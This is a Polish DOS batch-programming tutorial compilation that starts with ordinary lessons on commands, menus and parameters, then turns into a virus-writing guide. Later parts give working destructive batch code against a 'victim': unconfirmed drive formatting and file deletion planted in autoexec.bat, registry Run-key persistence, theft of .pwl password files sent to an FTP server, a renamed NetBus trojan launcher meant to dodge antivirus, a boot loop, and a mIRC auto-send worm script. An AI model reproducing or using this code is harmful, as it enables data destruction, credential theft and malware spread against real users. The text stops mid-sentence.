Oczywiście wywoływać możemy z dowolnymi parametrami:

CALL nasz_pro.bat /?

Mogą to być także parametry naszego programu lub zmienne np.

CALL nasz_pro.bat %1

Aby natomiast wywołać program typu EXE albo COM,
wystarczy wpisać jego nazwę (tak jak w linii poleceń DOS-a).
Zaś sposób używania parametrów zostaje ten sam.

I tak zakończył się ostatni odcinek.

Tom III

Część I

Autor tekstu:
Wojciech W. (otul / otuloc)
otul2@poczta.onet.pl
www.otul.prv.pl

Batch

W tym rozdziale chciałbym zapoznać was z komendami DOS`a i programowaniem Batch`ów. Batch`e są to skrypty powłoki systemu DOS, występujące w postaci nie skompilowanej w plikach o rozszerzeniach *.bat, istnieje możliwość kompilacji do plików typu *.com i *.exe, przy użyciu dodatkowych programów. Do interpretacji poleceń języka(komend) wymagany jest interpreter w postaci programu Command.com.

1.Komedny

2.Przykłady

3.Parametry i zmienne

4.Kierowanie strumieniami danych

1.Komedny i ich znaczenie

Przedstawię spis kilkudziesięciu komend przydatnych

do programowaniu w batch`u, niektóre z nich są zintegrowane
z systemem, a inne są osobnymi programami, jeżeli nie będziecie
posiadać takiego programu to automatycznie komenda nie działa.

"Echo"-kieruje strumień danych na urządzenie (ekran, plik, drukarka),
wyświetla napisy, zmienne i wyniki operacji.
Przykład:
echo Witaj w moim programie!
echo Zapiszę to do pliku > plik.txt
"Echo off" - wyłącza wypisywanie na ekranie poleceń konsoli
"Echo on" - rozpoczyna wypisywanie na ekranie poleceń konsoli
"Echo."- wyświetla pusty wiersz

"Cls"-czyści ekran

"Pause"-zatrzymuje pracę programu ,aż do naciśnięcia dowolnego klawisza.

"Rem"-pozwala wprowadzać komentarz.
Przykład:
rem To jest komentarz

"Call"- uruchamia jakiś plik wykonywalny (czyli *.com, *.exe, *.bat)
i ewentualnie przekazuje mu parametry.
Przykład:
call pamieć.bat

"Goto"-powoduje skok do etykiety, etykieta musi mieć
przed sobą dwukropek.
Przykład:
goto pętlą
(...treść programu...)
:pętlą

"Choice"-czyta znaki z klawiatury wprowadzane przez
użytkownika, posiada kilka istotnych parametrów, /c - określa interesujące
nas znaki, /n - nie wyświetla możliwości wyboru, /t - określa okres
czasu,
po którym dokonuje automatycznego wyboru, funkcję tą łączy się
z Komedą if w celu tworzenia warunków logicznych.
Przykład:
echo Zakończyć program?
choice /c:tn /n /t:t,3
if errorlevel 2 goto nie
if errorlevel 1 goto tak
Program pyta o swoje zakończenie, umożliwia naciśnięcia 't' lub 'n',
oczekuje 3 sekund na wybór, a po upływie czasu automatycznie wybiera 't',
warunki sprawdzające rozpoczyna zawsze się od ostatniej wartości,
w naszym przypadku 2, ponieważ były tylko dwie możliwości.

"If" -sprawdza warunek logiczny (równość bądź nierówność)
parametrów, wykorzystuje się trzy rodzaje warunków(porównanie,
sprawdzenie istnienia pliku i odczytanie wartości zmiennej
systemowej errorlevel, przyjmuje ona różne wartości po dokonaniu
każdej operacji(odczytu pliku, czytania z klawiatury znaku, błędu systemu),
do zaprzeczenia warunku stosujemy parametr not:
Przykład:
if "%1"=="backup" goto backup
Skaczemy do etykiety backup jeżeli pierwszym parametrem
programu jest backup, jest to porównanie parametru z tekstem
if not exist C:\Autoexec.bat goto kopiuj
Jeżeli nie istnieje plik Autoexec.bat na dysku C w katalogu
głównym to skocz do etykiety kopiuj, sprawdzenie istnienia pliku
if errorlevel 2 goto drugi
Jeśli zmienna errorlevel przyjęła wartość 2 to skocz do
etykiety drugi, zmienna ta może przyjąć wartość z zakresu 0 - 255,
dla konkretnych informacji odsyłam do opisu zmiennych systemowych.

"Type"-wyświetla zawartość pliku do 25 linii (większa ilość
lini powoduje przewijanie ekranu)

"More"-wyświetla długie pliki, po każdym pełnym ekranie
czeka na klawisz aby wyświetlać dalej

"Dir"-wyświetla pliki i katalogi, komenda posiada sporo
parametrów, /p - zatrzymuje się po zapełnieniu ekranu, /w - używa formatu
listy rozszerzonej, /v - tryb pełny (maxiumu informacji), /o - sortuje pliki
(n-alfabetycznie, s-rozmiaru, e-rozszerzenia, d-daty ,g-grupuje katalogi na początku)
Przykład:
dir /og C: Wyświetla pliki w katalogu głównym dysku C, grupując
katalogi na początku

"Format"-formatuje(tzn.usuwa całą zawartość(dane), oczyszcza FAT
(tablicę alokacji plików), czyści boot-sektor i inne sektory) dyski
twarde i miękkie(dyskietki),
umożliwia tworzenie dysku startowego - /s, format szybki(tylko usuwanie danych) - /q,
pełen format - /u, określa pojemność dysku do sformatowania
(np. 360KB,720KB,1,44MB czy 2,88MB) - /f:rozmiar
Przykład:
format a: /u /s /f:1.44
Przeprowadza format dyskietki w stacji a:
o pojemności 1.44MB i kopiuje pliki systemowe
format b: /u /c /v:TEMP /f:360
Przeprowadza format dyskietki w stacji b: o pojemności 360KB i
sprawdza plastry oznaczone jako złe oraz nadaję etykietę: TEMP
PS. Jest to jedna z ciekawszych komend,
posiada także zastosowania destrukcyjne heh... heh...

"Del lub Erase"-usuwa pliki lub grupy plików, parametr /p (monituje usunięcie plików)

Przykład:
del C:\TEMP*.*
Powoduje usunięcie(zamazanie) wszystkich plików w katalogu C:\TEMP
erase C:\GRY*.tmp /p
Powoduje usunięcie, ale tylko potwierdzonych przez użytkownika plików
o rozszerzeniach *.tmp w katalogu C:\GRY

"Deltree"-kasuje drzewo katalogów (katalogi wraz z podkatalogami i danymi)
Przykład:
deltree C:\WINDOWS\SYSTEM
Powoduje wszystkich plików i katalogów w C:\WINDOWS\SYSTEM
PS .Osobiście nie robiłbym tego ;-)

"Cd" lub "Chdir" -wchodzi do dowolnego katalogu, ale zmiana
dysku odbywa się poprzez wpisanie jego "litery" z dwukropkiem
Przykład:
cd C:\DOS\UTIL
Powoduje wejście do katalogu \DOS\UTIL na dysku C
E:
Powoduje zmianę dysku na E
"Cd.."-wychodzi do poprzedniego katalogu (poziom wyżej w strukturze katalogów)
"Cd \"-wychodzi do korzenia(root`a) tj. głównego katalogu dysku

"Md" lub "Mkdir"-tworzy katalog
Przykład:
md C:\OTUL
Powoduje utworzenie pustego katalogu OTUL na dysku C

"Rd" lub "Rmdir"-usuwa pusty katalog (jeżeli katalog
zawiera jakieś dane, nie zostanie usunięty)
Przykład:
rmdir D:\CHWILOWY
Powoduje usunięcie pustego katalogu CHWILOWY na dysku D

"Tree"-wyświetla strukturę katalogów w postaci drzewa,
przydatna funkcja przy zmianach katalogów

"Exit"-kończy pracę aktualnego interpretera poleceń
(command.com`a) i powraca do poprzedniego

"Ren"-zmienia nazwę pliku
Przykład:
ren C:\OSOBOWE\otul.txt otul.old
Powoduje zmianę nazwy pliku otul.txt na otul.old
w katalogu C:\OSOBOWE

"Move"-przenosi pliki
Przykład:
move C:\KOPIE*.txt C:\DOKUMENTY
Powoduje przeniesienie wszystkich plików textowych

z katalogu C:\KOPIE do C:\DOKUMENTY

"Set"-ustwia zmienne, przypisuje im określone wartości,
stringi, aby sprawdzić jakie zmienne są aktualnie używane
wpisujemy set bez parametrów
Przykład:
set pi=3.14
Przypisuje zmiennej pi wartość 3.14

"Time"-wyświetla bieżący czas, umożliwia ustawienie nowego czasu

"Date"-wyświetla bieżącą datę, umożliwia ustawienie nowej daty

"Ver"-wyświetla wersję zainstalowanego systemu

"Vol"-wyświetla informacje o danym woluminie
dysku twardego bądź miękkiego

"Label"-umożliwia nadanie etykiety dyskietkom i dyskom twardym

"Mem"-wyświetla informacje o pamięci
(konwencjonalnej, górnej, EMS i XMS), ma kilka parametrów /p - zatrzymuje się
po zapełnieniu ekranu, /c - wyświetla wszystkie programy rezydujące
w pamięci i ilość pamięci przez nie zajmowaną, /f - wyświetla
informacje
o wolnej pamięci

Na razie starczy dla początkujących, znając te komendy
można bez problemu napisać batch`a.

2.Przykłady

-Pisanie batch`y

Nasz pierwszy batch będzie czyścił ekran, wyświetlał komunikat,
czekał na klawisz, wyświetlał pliki, tworzył katalogi i je usuwał.
Nie będę pisał komentarzy, ponieważ jeżeli czytaliście dokładnie informacje
wyżej zamieszczone bez trudu wszystko zrozumiecie!
Aby program zadziałał musi mieć rozszerzenie *.bat, więc
nadajcie mu nazwę np.Batch.bat

Można go pisać w edicie, notatniku , itp.

```
@echo off
cls
echo Witaj w programie Otul`a!
echo.
pause
cls
echo Cos popsujemy na komputerku
md C:\Otul
cd C:\Otul
mem > pamiec.txt
type pamiec.txt
pause
cls
del pamiec.txt
cd..
rd Otul
cls
```

Teraz sporządzimy bardziej przydatny program :-),
będzie posiadał skromne menu i wykonywał pewne funkcje:
-czyszczenie katalogu plików tymczasowych
-robienie kopii plików *.doc
z katalogu C:\MOJEDOK do katalogu C:\KOPIE\DOC
-wyświetlanie zawartości plików konfiguracyjnych AUTOEXEC.BAT i CONFIG.SYS,
z obsługą błędów
Nasz program będzie posiadał prostą obsługę błędów
opartą na wartościach zwracanych przez zmienną errorlevel,
postaram także pokazać wam profesjonalną budowę programu, ok do roboty :-)

```
REM ******************************
REM Nagłówek informacyjny:
REM Program - otuljob, Wersja 1.0
REM Autor - otul Data - 15.XI.2003
REM ******************************
```

-to jest przykładowy nagłówek, warto zawsze umieszczać coś takiego

```
:Start
@ECHO OFF
CLS
ECHO Witaj w OTULJOB wer. 1.0
ECHO ----------------------
ECHO.
ECHO         MENU - komunikat powitalny i proste menu
ECHO.
ECHO 1.CZYSZCZENIE PLIKOW TYMCZASOWYCH
```

```
ECHO 2.SPORZADZANIE KOPII ZAPASOWAEJ PLIKOW *.DOC
ECHO 3.WYSWIETLANIE PLIKOW KONFIGURACYJNYCH
ECHO.
ECHO K-KONIEC PORGRAMU
ECHO _____
ECHO WYBOR:
CHOICE /C:123kK /N /T:K,30
IF ERRORLEVEL 5 GOTO Koniec
IF ERRORLEVEL 4 GOTO Koniec
IF ERRORLEVEL 3 GOTO Wyświetl
IF ERRORLEVEL 2 GOTO Kopia
IF ERRORLEVEL 1 GOTO Czyść
```

- obsługa menu poprzez warunki logiczne, zwróćcie uwagę na kolejność (od najwyższego do najniższego)

```
:czyść
CLS     - odczytanie zmiennej systemowej o katalogu tymczasowym
ECHO Katalog plików tymczasowych w twoim komputerze to %temp%
ECHO.
ECHO Czy na pewno chcesz usunąć wszystkie pliki?
CHOICE /c:tn /t:n,15
IF ERRORLEVEL 2 GOTO Start
IF ERRORLEVEL 1 ECHO T | ERASE %temp%\*.*   - automatyczne
potwierdzenie usunięcia plików
IF ERRORLEVEL 0 GOTO Ok
ECHO Wystąpił błąd podczas usuwania plików!
:Ok
ECHO.
PAUSE
GOTO Start

:Kopia
SET source=C:\MOJEDOK   - tworzenie zmiennych z nazwami katalogów
SET target=C:\KOPIE
CLS
MD %target%
IF ERRORLEVEL 0 GOTO Skip
:Blad
ECHO NIE MOZNA UTWORZYC KATALOGU
PAUSE
:Skip
ECHO.
ECHO KOPIUJE PLIKI *.DOC Z %source% do %target%:
ECHO.
COPY %source%\*.DOC %target%
IF ERRORLEVEL 0 GOTO Skip2
:Blad2
ECHO WYSTAPIL BLAD PODCZAS KOPIOWANIA
:Skip2
```

```
ECHO.
PAUSE
GOTO Start

:Wyswietl
CLS
IF NOT EXIST C:\AUTOEXEC.BAT GOTO Brak_autoexec        - sprawdzanie
istnienia pliku
ECHO Wyświetlam zawartość Autoexec.bat:
ECHO.
MORE C:\AUTOEXEC.BAT                  -wyświetlenie zawartości
pliku Autoexec.bat
IF ERRORLEVEL 0 GOTO Config
:Brak_autoexec
ECHO Nie mogę znaleźć / odczytać pliku Autoexec.bat
ECHO.
:Config
PAUSE
CLS
IF NOT EXIST C:\CONFIG.SYS GOTO Brak_config
ECHO Wyświetlam zawartość Config.sys:
ECHO.
MORE C:\CONFIG.SYS                    -wyświetlanie
zawartości pliku Autoexec.bat
IF ERRORLEVEL 0 GOTO Dalej
:Brak_config
ECHO Nie mogę znaleźć / odczytać pliku Autoexec.bat
ECHO.
:Dalej
PAUSE
goto Start

:Koniec
CLS
ECHO *** do zobaczenia ***            -zakończenie programu
ECHO.
PAUSE
CLS
```

3.Parametry i zmienne

Teraz zajmijmy się parametrami i zmiennymi:

Aby nasz skrypt mógł przyjmować parametry z zewnątrz (z linii poleceń)
np. print.bat -text www.otul.prv.pl musimy w skrypcie obsłużyć parametry.

W batch`u parametry oznaczamy %x (x-cyfra) tzn. %0 - parametr nazwa programu, %1 - pierwszy parametr (tu "-text"), %2 drugi parametr (tu "www.otul.prv.pl").

Należy pamiętać że każdy parametr oddzielony jest spacją i taki wpis print -text Otul www oznacza dla skryptu %2=Otul, %3=www, także dla jednolitego tekstu należy stosować "_" zamiast spacji i jeszcze jedno batch obsługuje jednoczasowo tylko 10 parametrów. Istnieje polecenie Shift powodujące przesunięcie wszystkich parametrów w lewo, co zwalnia miejsce na następny, lecz kasuje poprzedni. Jeżeli mamy w programie trzy parametry: %0 - zawiera nazwę pliku, %1 - otul, %2 - batch, to po wykonaniu komendy Shift będzie to wyglądać następująco: %0 - otul, %1 - batch, %2 - pusty.

Wspomniałem o zmiennych, aby je wprowadzić do programu używamy polecenia set np. set autor=OTUL i od tej pory zmienna %autor% (tak piszemy w batch`u) ma wartość OTUL, ale możemy ja zmienić pisząc set autor=OtulOC, liczba zmiennych jest prawie nieograniczona. Aby wyświetlić wszystkie zmienne jakie są zadeklarowane należy wpisać Set bez parametrów.

Zmienne systemowe są to takie zmienne ,które są zadeklarowane przy starcie systemu lub zaimplementowane. Poniżej przedstawię zestaw kilkunastu zmiennych, oczywiście nie koniecznie wszystkie znajdą się w twoim komputerze :) :

errorlevel - jest to zmienna zaimplementowana w system, zawiera kod błędu po każdym wykonaniu jakieś operacji, wartość 0 oznacza że błędu ni było, jakakolwiek inna wartość wskazuje na błąd. Każda funkcja ma inny opis błędów, aby można było rozpoznać co dany błąd oznacza, należy skorzystać z jakiś tabeli, przedstawię tutaj pokrótce trzy polecenia wraz ze zwracanymi błędami.

%tmp% lub / i %temp% - zmienna deklarowana podczas startu systemu, określa katalog dla plików tymczasowych

%winbootdir% lub / i %windir% - zmienna określa katalog zainstalowania Windows`a

%blaster% / %midi% / %sound% - typowe zmienna karty muzycznej dla programów Dos`owych, określają adresy pamięci, porty, nr przerwania i katalog sterowników.

%lib% / %include% / %bin% - zmienne dla języków programowania, określają katalogi z bibliotekami funkcji, kompilatorem, linkerem, plikami pomocy itp.

Teraz powinni□my sprawdzić to w praktyce, wykonamy odpowiedni skrypt z obsługę błędów w razie niepoprawnego parametru.

```
@echo off
cls
rem Odczytywanie parametrów if "%1"=="" goto brak
if "%1"=="-?" goto info
if "%1"=="-text" goto ok
rem Obsługa błedów if not "%1"=="-?" if not "%1"=="-text" goto blad

:brak
cls
echo PRINTER by OTUL
echo.
echo Brak parametrów!
echo.
echo Wpisz print -? dla uzyskania pomocy.
pause >nul
cls
exit

:info
cls
echo PRINTER by OTUL
echo.
echo Składnia:
echo.
echo print -? - wyświetla ten ekran
echo print -text jakiś_tekst - wyświetla podany tekst 3-razy na ekranie
pause >nul
cls
exit

:ok
cls
echo PRINTER by OTUL
echo.
rem Przypisanie zmiennej text parametru %2
set text=%2
echo %text%
echo %text%
echo %text%
pause >nul
cls
exit

:blad
cls
echo PRINTER by OTUL
echo.
echo Wystąpił błąd!
echo.
```

```
echo Wpisz print -? dla uzyskania pomocy.
pause >nul
cls
exit
```

4.Kierowanie strumienia danych

W tym miejscu zajmiemy się operatorami kierowania, w batch
używamy ">", ">>", "|", "<" i "<<". Pierwsze dwa służą do kierowania
wyników operacji np. do pliku lub niczego (nul) np. Chcemy zapisać
ilość `wolnego miejsca wraz z kilkoma informacjami o dysku C: do pliku cinfo.txt`
piszemy wtedy CHKDSK c > cinfo.txt , to spowoduje utworzenie nowego pliku i
przepisanie do niego operacji wykonanej przez program CHKDSK.
Operator kierunkowy ">>" powoduje dodanie (doklejenie) wyniku operacji
już do istniejącego pliku. Jeżeli po wykonaniu powyższej komendy wpiszemy
jeszcze raz CHKDSK c > cinfo.txt stary plik zostanie nadpisany.
Natomiast gdy wpiszemy CHKDSK c >> cinfo.txt dodamy kolejny
wynik operacji programu CHKDSK, będzie on się znajdował pod starym.

Operator "|" służy do równoległego wykorzystywanie dwóch komend
(programów) np. Jeżeli chcemy zapisać informacje o pamięci
komputera do pliku pamiec.txt napiszemy mem > pamiec.txt ,
ale gdy chcemy zapisać tylko informacje o pamięci konwencjonalnej
mamy problem i wtedy przychodzi nam z pomocą operator "|", piszemy
tak mem | find /I "konwencjonalna" > pamiec.txt i gotowe,
w pliku znajduje się tylko linijka o pamięci konwencjonalnej.

Część II

Autor tekstu:
Wojciech W. (otul / otuloc)
otul2@poczta.onet.pl
www.otul.prv.pl

Blokuje myszkę:

```
@echo off
cls
echo
rundll32 mouse,disable
```

Blokuje klawiaturę:

```
@echo off
cls
echo
rundll32 keyboard,disable
```

Drukuje stronę testową:

```
@echo off
cls
echo
rundll32 msprint2.dll,RUNDLL_PrintTestPage
```

Zawiesza windowsa

```
@echo off
cls
echo
rundll32 user,disableoemlayer
```

Format C

```
@echo off
cls
echo
deltree c:\ /y
```

Uruchamiaj razem z systemem

```
@echo off
cls
echo
if not exist c:\windows\menust~1\programy\autost~1\_setup.bat
copy %0 c:\windows\menust~1\programy\autost~1\_setup.bat
```

Uruchamia stronę www

```
@echo off
Cls
echo
start HTTP://BYADIK.CBA.PL
Wyświetla text V-X POLAND
@echo off
cls
echo
echo  V-X POLAND
```

TOM IV

***\\ Za ten tom nie ponoszę odpowiedzialności. Publikuje go tylko dla tego bo wychodzę z założenia że każdy szanujący się programista powinien wiedzieć jak działają wirusy żeby muc chronić (nie tylko) swoje programy, komputery, serwery, itd. ***

~byadik~

Część I

Autor tekstu:
Wojciech W. (otul / otuloc)
otul2@poczta.onet.pl
www.otul.prv.pl

Pisanie Wirusów Część 1

1.Nie biorę żadnej odpowiedzialności
(ani strona/serwer z której to ściągnąłeś/aś itp.)
za to FAQ itp.

TO WSZYSTKO SA PODSTAWY :)
Najpierw aby moc napisać wirusa musimy poznać podstawowe
polecenia dos`a. del - usuwa plik copy - wiadomo cls - czyści ekran
dir - wyświetla listę plików i katalogów
echo - "wyświetla komunikaty lub włącza i wyłącza echo poleceń"
exit - kończy działanie programu
find - wyszukuje ciąg tekstowy w pliku lub plikach (przydatne :P)
findstr - wyszukuje ciągi znaków w plikach
format - formatuje dysk (pokażę potem na przykładzie wirusa który
po uruchomieniu formatuje dysk bez potwierdzenia :)))))
goto - wykonuje skok do danej etykiety (oki potem wyjaśnię :P)
md - tworzy katalog
pause - noo zatrzymuje działanie programu i czeka
aż użytkownik naciśnie jakiś klawisz :) (wyświetla komunikat - Aby kontynuować
naciśnij dowolny klawisz ..)
pause >> nul - to co powyżej ale bez komunikatu
rd - usuwa katalog
ren - zmienia nazwę pliku
start - uruchamia program lub polecenie w osobnym oknie
time - wyświetla lub ustawia (:P) czas systemowy
xcopy - kopiuje pliki i katalogi

dobra a wiec żeby stworzyć takiego wirusa tworzymy dowolny plik
o rozszerzeniu bat np. darkboyvir.bat i klikając prawym wybieramy
edytuj - tam wpisujemy kod.

Oki narzazie tyle poleceń wystarczy :). teraz jeszcze jedna
ważna rzecz: >> - przyporządkowanie strumienia
(poniżej podaje przykład działania programu)
@echo off // wyłącza echo
echo ale ty jesteś debil >> c:\autoexec.bat // kopiuje linijkę tekstu
do pliku autoexec.bat - czyli można tez dopisywać kod do pliku
np. jeżeli napiszemy:
@echo off echo del c:\windows\win.ini >> autoexec.bat - to po
ponownym uruchomieniu komputera ofierze skasuje się plik win.ini
- już nie uruchomi windowsa - chyba ze skorzysta z pliku win.ini.backup w windowsie XP. :)
cls / czyści ekran tak żeby ofiara nie wiedziała ze cos się w ogolę usuwa :) \.

teraz mała zabawa z "|" (shift + przycisk obok backspace :P)
pozwala to np. wykonywać dwa polecenia na raz. przeanalizujmy przykłady poniżej.

format c:

powyższy plik po uruchomieniu będzie wymagał od użytkownika
potwierdzenia - np. w polskojęzycznej wersji naciśnięcia klawisza "T"
wiec piszemy:

@echo off echo T | format c: cls

po uruchomieniu tego programu dysk twardy zacznie się formatować
bez potwierdzenia!!! (uwaga: nie da się sformatować dysku c:
kiedy mamy uruchomionego windowsa - wiec aby to zrobić musimy
doczepić ten kawałek kodu do pliku autoexec.bat - najlepiej tam :D)

no dobrze ale jeżeli zacznie się nam formatować dysk to biedzie
to trwało długo - wiec aby to przyśpieszyć należy wpisać:

@echo off echo T | format c: /q cls

przełącznik /q oznacza ze dysk będzie się formatował
w trybie szybkie formatowanie (zamazywanie) i będzie
to trwało najwyżej 10 sekund. (chyba ze ktoś ma duży dysk)

dobra ale teraz rozważmy następujący
przykład - stworzyliśmy plik
@echo off echo T | format c: /q cls

i chcemy go zamieścić w pliku c:\autoexec.bat .
Niby wszystko wydaje się proste - ale tak nie jest gdyż nie można zrobić :

echo @echo off >> c:\autoexec.bat // tu jest wszystko w porządku

echo echo T | format c: /q >> c:\autoexec.bat // a tu nie są dwa echa i wyjdzie
nam jakieś badziewie (możecie sobie przetestować).
echo cls >> c:autoexec.bat wiec żeby to zrobić można użyć
dwóch sposobów
sposób pierwszy - przykład:

nazwa tego pliku - dowolny.bat
@echo off echo T | format c: /q cls copy dowolny.bat c:\autoexec.bat

powyższy plik podmienia zawartość pliku autoexec.bat na ta.
Uwaga! zawartość pliku autoexec.bat zostanie skasowana
(no ale w końcu jeżeli zależy nam na zniszczeniu komputera ofiary
to nie ma się czym przejmować :P - i tak dysk zostanie sformatowany :P).

drugi sposób:

@echo off echo T | format c: /q cls copy dowolny.bat c:\sciezka\dowolny.bat
echo start c:\sciezka\dowolny.bat >> autoexec.bat

Część II

Autor tekstu:
Wojciech W. (otul / otuloc)
otul2@poczta.onet.pl
www.otul.prv.pl

Pisanie Wirusów Cześć 2

No dobra... :) przydałby się teraz spis plików systemowych
które wirus może usuwać aby narobić niezłych szkód w systemie :) :
win.ini , win.com - jak usuniesz te pliki to ofiara juz nie uruchomi komputera
chyba ze skorzysta z backupów (winXP) w folderze c:\windows\pss\ - wiec
najlepiej tez żeby wirus usuwał wszystkie pliki z niego :)
c:\windows\system32 - (winXP) tam masz pliki takie jak format.com , xcopy.exe itp.
- wiec jak je usuniesz to ktoś nie biedzie mógł kopiować
plików w dosie, ani sformatować dysku itp. :)
c:\windows\command - to co wyżej tylko ze w windowsach 9x
c:\windows\system32\DirectX (winXP) - wiadomo

no i... - zresztą po co mam wszystko wypisywać :) twórca wirusa
sam może sobie poszukać i zadecydować jakie pliki maja zostać
usunięte skasowane itp. (no ale w końcu wirus nie zawsze musi niszczyć dane :)
- jak ktoś w batchu napisze wirusa który się potrafi
rozprzestrzeniać pocztą to mail me :) darkboy@op.pl)

kolejna ważna rzeczą jaka się przydaje podczas pisania wirusów
to modyfikowanie rejestru itp. :) np aby wirus uruchamiał się przy
każdym starcie systemu opłaca się zrobić wpis w rejestrze - pod spodem

podaje przykład jak można to wykorzystać podczas pisania wirusa:

```
@echo off
cls
echo REGEDIT4 >> plikrejestru.reg / ten wpis musi być zawsze w pliku
rejestru
cls
echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\
CurrentVersion\Run]
>>
PLIKREJESTRU.reg
echo
"dowolna"="C:\\lokalizacja\\pliku\\bat\\ktory\\wczesniej\\
skopiowaliśmy >>
plikrejestru.reg
start c:\plik\resjestru\.reg\
```

przy każdym uruchomieniu komputera będzie uruchamiany plik
którego podaliśmy lokalizacje w "dowolna"=

Część III

Autor tekstu:
Wojciech W. (otul / otuloc)
otul2@poczta.onet.pl
www.otul.prv.pl

Pisanie Wirusów Część 3

Teraz skoro juz znasz podstawowe polecenia to teraz podam
tylko przykłady wykorzystania :
1.do zdobycia haseł : hasła w windowsach 9x zapisane są w plikach .pwl
- wiec tworzymy plik .bat który będzie kopiował pliki *.pwl oki chyba
napisze przykład kodu :P : @echo off / tak z przyzwyczajenia :)
echo T | copy c:\windows*.pwl a:\ / zależy gdzie znajdują się pliki *.pwl :)
wtedy bierzemy taki programik na dyskietce, podchodzimy do kompa
ofiary i tylko wchodzimy na dyskietkę, klikamy dwa razy i juz mam pliki
z hasłami na dyskietce :) - teraz tylko idziemy do domu i używając jakiego
programu do deszyfrowania zakodowanych tam haseł (np.pwlhack)
wyciągamy bądź łamiemy hasełko i.. potem juz robisz sobie co chcesz :P

Pliki można tez od razu skopiować na ftp: tworzymy batcha:

@echo off ftp -s:plik.txt ftp.republika.pl

w pliku txt wpisujemy po kolei polecenia które maja się wykonać

po połączeniu z ftp czyli login hasło itp (wszystko od nowej linii):

```
----plik.txt-----
darkboy
mojehasło
get *.pwl
bye
----------------
```

mona tez skopiować pliki z ftp do komputera - czyli
właściwy wirus może być na ftp a tutaj tylko niewinnie wyglądający skrypt ;].

2.do usunięcia haseł - po prostu usuwamy pliki *.pwl
(pamiętajmy aby użyć echo T | del lokalizacja*.pwl) 3. zapomniałem jeszcze
podąć jednego triku z przeszmuglowaniem np. jakiegoś Trojana tak
aby program antywirusowy się nie skapował (czasem się skapuje a
czasem nie :( ) Weźmy za przykład plik patch.exe z Trojana (można go tak nazwać)
o nazwie netbus (chyba każdy go zna - a szczególnie ci co
nie maja czasu/chęci/możliwości/ poduczyć się o hakingu
(albo myślą ze używając netbusa nimi są i nie musza się już więcej uczyć :P)

zmieniamy nazwę tego pliku na np. readme.txt albo data.lib :P i
wrzucamy do folderu. następnie tworzymy plik bat i wpisujemy w nim cos takiego:

```
@echo off
cls
ren readme.txt/data.lib patch.exe
start patch.exe
cls
ren patch.exe data.lib/readme.txt
cls
exit
```

i wrzucamy go do folderu. potem np. pakujemy rarem i wysyłamy
komuś itp. wtedy skaner antywirusowy nie wykryje wirusa.
(to znaczy czasem może wykryć :((((ale należy zawsze mięć nadzieje)

tadam :P - i nikt nie bedzie wiedział skąd wziął się server Trojana :P
chyba ze antywirus to wykryje.

4.mozna jeszcze wykorzystywać jak to
nazywają - "nieudokumentowane \ sztuczki

windows" :) (win9x :( )
rundll32 user,disableoemlayer - zawiesza kompa
rundll32 mouse,disable - nie działa mysz :) (kot ja przestraszył ? :P)
rundll32 keyboard,disable - nie działa klawiatura
rundll32 User,ExitWindows - zamkniecie systemu
rundll32 user,setcursorpos - przesuwa kursor w lewy górny róg ekranu :)))

rundll32 krnl386,fatalexit - błąd rundll32 :)
rundll32 krnl386,switchstacko - program wykonał nieprawidłową operacje :P
rundll32 krnl386,exitkernel - zamyka windows - brutalnie, szybko :)
rundll32 User,rapaintscreen - odświeżanie ekranu

jest jeszcze więcej poleceń ale te są chyba najważniejsze :)
te sztuczki chyba nie działają na winXP - u mnie nie działały :(

5.jezeli chcesz komuś usunąć kosz z pulpitu :)))) musisz usunąć z
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows
\CurrentVersion\explorer\Desktop\ NameSpace\ klucz {645FF040-5081-101B-9F08-
00AA002F954E}
potem tylko jeszcze rundll32 User,rapaintscreen - i na oczach ofiary zniknie jej kosz :P :))))

Uwaga! dodanie linijki do rejestru z poziomu batcha wymaga naciśnięcia
przycisku "tak" wiec aby to ominąć można zrobić skrypcik vbs (visual basic

script - czy jakos tak :P)
@echo off
echo regcreate [sciezka\rejestru] >> plik.vbs
start plik.vbs

Część IV

Autor tekstu:
Wojciech W. (otul / otuloc)
otul2@poczta.onet.pl
www.otul.prv.pl

Pisanie Wirusów Cześć 4

6.kolejna sztuczka (teraz właśnie wyjaśnię na czym polega
polecenie goto :)) przyjrzyjmy się teraz poniższemu plikowi :P
@echo off >> c:\autoexec.bat
:start >> c:\autoexec.bat /zaznaczamy etykietę
echo echo. >> c:\autoexec.bat / echo. powoduje ze będzie pusta linijka
goto start >> c:\autoexec.bat /i znowu idziemy do początku (:start)
i znowu będzie wykonywane polecenie echo. i potem znowu,
i znowu i się robi taka pętla w nieskończoność. a czemu zaproponowałem
żeby… żeby to wrzucić do autoexeca ? ponieważ jak ofiara uruchomi
komputer to będzie jej się robiła ta pętla w nieskończoność nic nie będzie
widać (echo.) wiec to będzie wyglądało jakby się komputer normalnie
uruchamiał - ale się nigdy nie uruchomi :))))))))))))))

7.Jest jeszcze jedna przydatna rzecz - a mianowicie
wyszukiwanie plików - jeżeli np. chcemy znaleźć plik o nazwie
szukany.txt w danym katalogu to piszemy:

```
if exist c:\danykatalog\szukany.txt goto znalazłem
if not exist c:\danykatalog\szukany.txt goto nie znalazłem
:znalazlem
echo plik został znaleziony
goto dalej
:nie znalazlem
echo plik nie został znaleziony
exit
:dalej
echo dalszy ciąg programu
```

8. przydałoby się żeby nasz wirus się rozprzestrzeniał... :)
albo sami powinniśmy go rozprzestrzenić. ;P najprostszym
sposobem jest wysalanie kilkudziesięciu maili strzelając adresy :P.
żeby się nie męczyć można tez sobie ściągnąć program do masowego
wysyłania maili - wtedy tylko wpisujesz adresy i nie musisz się powtarzać.
Można tez umieścić wirusa na stronie i napisać ze to jest wirus. wtedy
Na pewno zjawia się jakieś osoby które będą chciały zrobić komuś
głupi żart :) w ten sposób go rozprzestrzeniając. :P można tez używać IRCa. :)
ale to wszystko zajmuje trochę czasu :(. wiec można spróbować to jakoś
zautomatyzować: mIRC script:) to trzeba wrzucić do script.ini

```
n0=on 1:JOIN:#:{
n1= /if ( $nick == $me ) { halt }
n2= /.dcc send $nick c:\sciezka\plik.rozszerzenie
n3=}
```

Wtedy delikwent który ma tak zawirusowany skrypcik po wejściu
na kanał będzie wysyłał każdemu plik (jak wejdzie na #polska to ktoś
powinien dać się wrobić). w ten sposób oczywiście się rozprzestrzeni.
Ale jest problemik - w niektórych skryptach jest zablokowane przyjmowane
plików bat exe itp. wiec najlepiej żeby to było spakowane rarem
(chociaż może i to tez jest zablokowane :().

9.Mozna zrobić tak ze kiedy ofiara uruchomi wirusa
to ty otrzymasz sms`a na swoja komórkę - ofiara musi
